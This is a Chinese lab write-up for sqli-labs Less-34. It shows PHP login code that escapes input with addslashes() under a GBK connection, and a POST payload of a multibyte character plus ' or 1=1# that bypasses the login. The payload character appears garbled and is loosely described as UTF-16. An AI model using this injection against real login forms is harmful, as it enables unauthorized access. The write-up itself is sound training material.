Sqli-labs Less-34 利用 ' 的utf-16突破addslashes()函数转义
关键代码
$uname1=$_POST['uname']; $passwd1=$_POST['passwd']; $uname = addslashes($uname1); $passwd= addslashes($passwd1); mysql_query("SET NAMES gbk"); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ' 转为utf-16为 �' 。我们就可以利用这个方式进行尝试。
我们用万能密码的方式的来突破这一关。
例如直接提交username:�' or 1=1#
password:随便乱填
可以看到下面显示登录成功。
原始的sql语句为
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
此时sql语句为
@$sql="SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1";
去掉注释部分后sql语句为
@$sql="SELECT username, password FROM users WHERE username='�' or 1=1
此时不论select选择出来的内容是什么,与 1=1进行or操作后,始终为真。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步